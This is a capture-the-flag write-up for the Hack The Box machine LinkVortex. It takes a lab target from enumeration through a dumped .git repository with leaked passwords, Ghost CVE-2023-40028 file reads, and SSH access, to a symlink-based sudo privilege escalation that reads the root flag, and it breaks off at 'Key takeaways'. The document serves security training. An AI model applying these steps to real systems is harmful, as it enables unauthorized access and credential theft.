HTB WriteUP - LinkVortex

Let's start by setting the target IP address:

$ export IP=10.10.11.47

Enumeration

We begin with an initial enumeration of the target using Nmap.

Initial Nmap Scan

The following Nmap scan was performed to identify open services:

$ nmap -sV -Pn $IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-01 09:03 EDT
Nmap scan report for 10.10.11.47
Host is up (0.075s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.93 seconds

Found Services

The scan revealed the following open services:

Apache HTTP Service (Port 80)

We begin by identifying the Apache HTTP service running on port 80.

Web Server Information

Using whatweb to probe the target, we find the following:

$ whatweb $IP
http://10.10.11.47 [301 Moved Permanently] Apache, Country[RESERVED][ZZ], HTTPServer[Apache], IP[10.10.11.47], RedirectLocation[http://linkvortex.htb/], Title[301 Moved Permanently]

The server is redirecting to http://linkvortex.htb/. To continue with the enumeration, we add this hostname to the /etc/hosts file:

$ echo $IP linkvortex.htb | sudo tee -a /etc/hosts

Site Information

Now, querying the redirected URL using whatweb:

$ whatweb http://linkvortex.htb
http://linkvortex.htb [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache], IP[10.10.11.47], JQuery[3.5.1], MetaGenerator[Ghost 5.58], Open-Graph-Protocol[website], PoweredBy[Ghost,a], Script[application/ld+json], Title[BitByBit Hardware], X-Powered-By[Express], X-UA-Compatible[IE=edge]

The website is powered by Ghost, a popular open-source platform for publishing content.

We navibgate the site, and find the site has posts made by the admin user.

Admin Login Page

After reviewing the Ghost documentation, we discovered that the admin login page is located at http://linkvortex.htb/ghost/ and is accessible.

Directory Enumeration

We now enumerate potential directories and subdomains using dirsearch and gobuster.

Directory Search on linkvortex.htb

Running dirsearch on linkvortex.htb:

$ dirsearch  -u linkvortex.htb -x 404

Output shows several interesting results, including a /LICENSE file, /robots.txt, and a sitemap:

[09:23:05] Starting: 
[09:23:28] 301 -  179B  - /assets  ->  /assets/
[09:23:29] 301 -    0B  - /axis//happyaxis.jsp  ->  /axis/happyaxis.jsp/
[09:23:35] 301 -    0B  - /engine/classes/swfupload//swfupload.swf  ->  /engine/classes/swfupload/swfupload.swf/
[09:23:41] 200 -   15KB - /favicon.ico
[09:23:48] 200 -    1KB - /LICENSE
[09:24:01] 200 -  103B  - /robots.txt
[09:24:02] 403 -  199B  - /server-status/
[09:24:02] 403 -  199B  - /server-status
[09:24:03] 200 -  253B  - /sitemap.xml
Vhost Enumeration

Next, we perform virtual host enumeration using gobuster:

$ gobuster vhost -u http://linkvortex.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain -t 10 
...

We discover a new subdomain: dev.linkvortex.htb.

Adding the Subdomain

We add the subdomain to the /etc/hosts file:

$ echo $IP dev.linkvortex.htb | sudo tee -a /etc/hosts
Directory Search on dev.linkvortex.htb

Finally, we run dirsearch on the new subdomain:

$ dirsearch  -u dev.linkvortex.htb -x 404,403

This reveals the presence of a .git directory, which is often a useful target for information gathering:

[09:43:53] 200 -  557B  - /.git/
[09:43:53] 200 -  201B  - /.git/config
[09:43:53] 200 -   41B  - /.git/HEAD
[09:43:53] 200 -   73B  - /.git/description
[09:43:53] 200 -  620B  - /.git/hooks/
[09:43:53] 200 -  402B  - /.git/info/
[09:43:53] 200 -  240B  - /.git/info/exclude
[09:43:53] 200 -  175B  - /.git/logs/HEAD
[09:43:53] 200 -  401B  - /.git/logs/
[09:43:53] 200 -  418B  - /.git/objects/
[09:43:53] 200 -  147B  - /.git/packed-refs
[09:43:53] 200 -  393B  - /.git/refs/
[09:43:53] 301 -  249B  - /.git/refs/tags  ->  http://dev.linkvortex.htb/.git/refs/tags/
[09:43:56] 200 -  691KB - /.git/index

This .git directory may contain sensitive information, such as commit history or configurations that could help further exploitation.

Git Dump for HTTP Server

The HTTP server contains a .git repository. We attempt to extract its contents using git_dump.

$ python git_dumper.py http://dev.linkvortex.htb/ git
[-] Testing http://dev.linkvortex.htb/.git/HEAD [200]
[-] Testing http://dev.linkvortex.htb/.git/ [200]
<SNIP>
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 5596 paths from the index

After dumping the repository, we proceed to explore the files.

Dockerfile Analysis

We examine the Dockerfile used for the Ghost deployment:

cat Dockerfile.ghost 
FROM ghost:5.58.0

# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json

# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb

# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh

ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]

The Dockerfile reveals that the server runs Ghost 5.58.0, and it includes a custom entry point and configuration for the application.

We search for known vulnerabilities and identify CVE-2023-40028, which allows for arbitrary file reading on the server. However, exploiting this vulnerability requires valid admin credentials.

We'll keep this vulnerability in mind in case we need it later.

Secret Detection with Gitleaks

To further investigate, we run Gitleaks to detect any secrets in the repository:

$ gitleaks dir -v
        │╲
                gitleaks

Finding:     const API_KEY = 'b30afc1721f5d8d021ec3450ef'
<SNIP>
Finding:     const password = 'OctopiFociPilfer45'
Secret:      OctopiFociPilfer45
RuleID:      generic-api-key
Entropy:     3.683542
File:        ghost/core/test/regression/api/admin/authentication.test.js
Line:        56
Fingerprint: ghost/core/test/regression/api/admin/authentication.test.js:generic-api-key:56
<SNIP>
8:22AM INF scanned ~25236524 bytes (25.24 MB) in 2.77s
8:22AM WRN leaks found: 25

Gitleaks finds several potential secrets, including an exposed password: OctopiFociPilfer45.

Exploiting the Leaked Password

We attempt to log in to the Ghost admin page at http://linkvortex.htb/ghost/. Using the admin account credentials (admin@linkvortex.htb as the email and OctopiFociPilfer45 as the password), we successfully gain access to the admin interface.

This provides us with administrative control over the Ghost instance.

Getting a Foothold

We attempt to exploit the previously identified CVE-2023-40028 vulnerability for Ghost 5.58.

$ git clone https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028
$ cd Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028
$ ./CVE-2023-40028 -u admin@linkvortex.htb -p OctopiFociPilfer45 -h http://linkvortex.htb
WELCOME TO THE CVE-2023-40028 SHELL
Enter the file path to read (or type 'exit' to quit): /etc/passwd

We are able to read the contents of the /etc/passwd file:

File content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
...

Next, we use the same tool to read the Ghost configuration file located at /var/lib/ghost/config.production.json (see Dockerfile):

Enter the file path to read (or type 'exit' to quit): /var/lib/ghost/config.production.json

Here’s the content of the configuration file:

{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
    "transport": "SMTP",
    "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
      }
    }
  }
}

We observe that the configuration file contains credentials for the bob user, specifically for the email bob@linkvortex.htb with the password fibber-talented-worth.

We attempt to SSH into the server using these credentials:

$ ssh bob@linkvortex.htb

Success! We gain access to the server as the bob user.

bob@linkvortex:~$ whoami
bob

We retrieve the user flag:

bob@linkvortex:~$ cat user.txt
<user flag>

At this point, we have successfully obtained a foothold on the system as the bob user.

Lateral Movement

After gaining access to the bob user, we check for any available sudo privileges.

bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

The output shows that bob can run the script /opt/ghost/clean_symlink.sh with sudo privileges without a password prompt, but only for files with the .png extension. Let's inspect the contents of this script.

bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

Analysis of the Script

The script checks if the provided argument is a symbolic link to a .png file. If the link points to a sensitive file (e.g., inside /etc or /root), the script removes it. Otherwise, it moves the link to a quarantine directory and, if the CHECK_CONTENT variable is set to true, it attempts to display the contents of the linked file.

We can exploit this by creating a symbolic link (a.txt) to the root flag (/root/root.txt), then creating a second symbolic link with the .png extension (a.png) pointing to the first symbolic link (a.txt) to bypass the script’s checks.

Exploiting the Script

We first create the symbolic link to the root flag and then create a second .png symbolic link that points to it.

bob@linkvortex:~$ rm a.txt 
bob@linkvortex:~$ ln -s /root/root.txt a.txt  # Link to the root flag
bob@linkvortex:~$ ln -s /home/bob/a.txt a.png  # Create a .png symbolic link pointing to it

Next, we set the CHECK_CONTENT variable to true and execute the script using sudo.

bob@linkvortex:~$ export CHECK_CONTENT=true
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
Link found [ a.png ], moving it to quarantine
Content:
<root flag>

We successfully exploited a sudo misconfiguration in the script /opt/ghost/clean_symlink.sh. By creating symbolic links to sensitive files (such as the root flag), we were able to read the contents of /root/root.txt using the script's behavior.

Conclusion

This exploitation process demonstrates the impact of seemingly minor vulnerabilities, like arbitrary file read, outdated applications, and sudo misconfigurations, which can lead to complete system compromise.

Key takeaways: